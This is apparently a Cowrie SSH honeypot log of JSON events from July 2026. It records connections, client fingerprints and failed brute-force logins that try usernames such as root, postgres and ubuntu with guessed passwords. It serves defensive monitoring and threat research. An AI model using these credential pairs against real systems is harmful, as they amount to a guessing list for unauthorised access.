{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:39:59.890265Z","src_ip":"143.20.185.207","session":"7bd12b1bdbe5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":59546,"dst_ip":"10.17.0.5","dst_port":22,"session":"e9f469458a3e","protocol":"ssh","message":"New connection: 91.92.40.176:59546 (10.17.0.5:22) [session: e9f469458a3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:40:11.325449Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:40:11.329571Z","src_ip":"91.92.40.176","session":"e9f469458a3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:40:11.411127Z","src_ip":"91.92.40.176","session":"e9f469458a3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres1","message":"login attempt [postgres/postgres1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:40:11.663424Z","src_ip":"91.92.40.176","session":"e9f469458a3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:40:12.748728Z","src_ip":"91.92.40.176","session":"e9f469458a3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":36412,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce93d58e958c","protocol":"ssh","message":"New connection: 103.82.20.28:36412 (10.17.0.5:22) [session: ce93d58e958c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:40:33.538871Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:40:33.542858Z","src_ip":"103.82.20.28","session":"ce93d58e958c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:40:33.805547Z","src_ip":"103.82.20.28","session":"ce93d58e958c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"455455","message":"login attempt [root/455455] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:40:34.594423Z","src_ip":"103.82.20.28","session":"ce93d58e958c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:40:35.862575Z","src_ip":"103.82.20.28","session":"ce93d58e958c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":39390,"dst_ip":"159.203.135.109","dst_port":22,"session":"29d6767d287b","protocol":"ssh","message":"New connection: 103.98.149.87:39390 (159.203.135.109:22) [session: 29d6767d287b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:40:39.570783Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:40:39.575194Z","src_ip":"103.98.149.87","session":"29d6767d287b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:40:39.801096Z","src_ip":"103.98.149.87","session":"29d6767d287b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:40:42.087773Z","src_ip":"103.98.149.87","session":"29d6767d287b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:40:43.316660Z","src_ip":"103.98.149.87","session":"29d6767d287b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.72.55.130","src_port":44856,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ba051672499","protocol":"ssh","message":"New connection: 61.72.55.130:44856 (10.17.0.5:22) [session: 5ba051672499]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:41:05.126603Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:41:05.131681Z","src_ip":"61.72.55.130","session":"5ba051672499","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:41:05.334806Z","src_ip":"61.72.55.130","session":"5ba051672499","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"asdfgh","message":"login attempt [ubuntu/asdfgh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:41:06.170769Z","src_ip":"61.72.55.130","session":"5ba051672499","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:41:07.374135Z","src_ip":"61.72.55.130","session":"5ba051672499","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.218.183","src_port":46280,"dst_ip":"159.203.135.109","dst_port":22,"session":"e5d1537a8cb3","protocol":"ssh","message":"New connection: 162.240.218.183:46280 (159.203.135.109:22) [session: e5d1537a8cb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:41:51.448899Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:41:51.453357Z","src_ip":"162.240.218.183","session":"e5d1537a8cb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:41:51.542852Z","src_ip":"162.240.218.183","session":"e5d1537a8cb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"letmein&*()!@#$%","message":"login attempt [root/letmein&*()!@#$%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:41:51.811146Z","src_ip":"162.240.218.183","session":"e5d1537a8cb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:41:53.784187Z","src_ip":"162.240.218.183","session":"e5d1537a8cb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.105.153","src_port":64346,"dst_ip":"159.203.135.109","dst_port":22,"session":"3edd23afd093","protocol":"ssh","message":"New connection: 107.150.105.153:64346 (159.203.135.109:22) [session: 3edd23afd093]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:41:54.895475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:41:54.898646Z","src_ip":"107.150.105.153","session":"3edd23afd093","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:41:54.979092Z","src_ip":"107.150.105.153","session":"3edd23afd093","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"222","message":"login attempt [root/222] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:41:55.348410Z","src_ip":"107.150.105.153","session":"3edd23afd093","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:41:56.430281Z","src_ip":"107.150.105.153","session":"3edd23afd093","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.57.219.18","src_port":34884,"dst_ip":"10.17.0.5","dst_port":22,"session":"016b7544e178","protocol":"ssh","message":"New connection: 198.57.219.18:34884 (10.17.0.5:22) [session: 016b7544e178]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:42:25.390816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:42:25.394789Z","src_ip":"198.57.219.18","session":"016b7544e178","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:42:25.476422Z","src_ip":"198.57.219.18","session":"016b7544e178","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"toshi2024","message":"login attempt [root/toshi2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:42:25.726462Z","src_ip":"198.57.219.18","session":"016b7544e178","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.89.133","src_port":36466,"dst_ip":"159.203.135.109","dst_port":22,"session":"ee328b12ed23","protocol":"ssh","message":"New connection: 166.62.89.133:36466 (159.203.135.109:22) [session: ee328b12ed23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:42:33.688075Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:42:33.693750Z","src_ip":"166.62.89.133","session":"ee328b12ed23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:42:33.760272Z","src_ip":"166.62.89.133","session":"ee328b12ed23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"stake456","message":"login attempt [root/stake456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:42:33.957744Z","src_ip":"166.62.89.133","session":"ee328b12ed23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:42:35.026022Z","src_ip":"166.62.89.133","session":"ee328b12ed23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.88.42.180","src_port":58540,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7e8386e1586","protocol":"ssh","message":"New connection: 23.88.42.180:58540 (10.17.0.5:22) [session: f7e8386e1586]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:42:39.550047Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:42:39.554121Z","src_ip":"23.88.42.180","session":"f7e8386e1586","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@opens